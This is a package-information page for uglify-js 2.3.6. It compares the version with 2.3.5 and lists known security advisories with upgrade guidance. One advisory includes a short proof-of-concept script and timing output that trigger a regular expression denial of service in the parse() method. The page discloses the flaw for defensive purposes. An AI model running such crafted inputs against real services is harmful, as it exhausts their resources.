UglifyJS is a crucial tool for JavaScript developers, serving as a parser, mangler/compressor, and beautifier toolkit to optimize code for production. Comparing versions 2.3.6 and 2.3.5 reveals subtle but important differences. Both versions share the same core dependencies: async for asynchronous operations, optimist for command-line argument parsing, and source-map for debugging minified code. The underlying repository remains consistent using Git at the specified URL.
However, the key differentiating factor lies in the release date. Version 2.3.6 was released on May 23, 2013, indicating it likely includes bug fixes, performance improvements, or minor feature enhancements over version 2.3.5, which was released on May 19, 2013. While the dependency list is identical, the updated release suggests developers should opt for version 2.3.6 for the most stable and refined experience. Developers integrating UglifyJS should prioritize the newer version to leverage any optimizations made between these closely spaced releases. Accessing the package is straightforward with the provided tarball URLs pointing to the respective versions within the npm registry. By staying current, developers ensure they are using the most efficient rendition of this core JavaScript optimization tool.
All the vulnerabilities related to the version 2.3.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.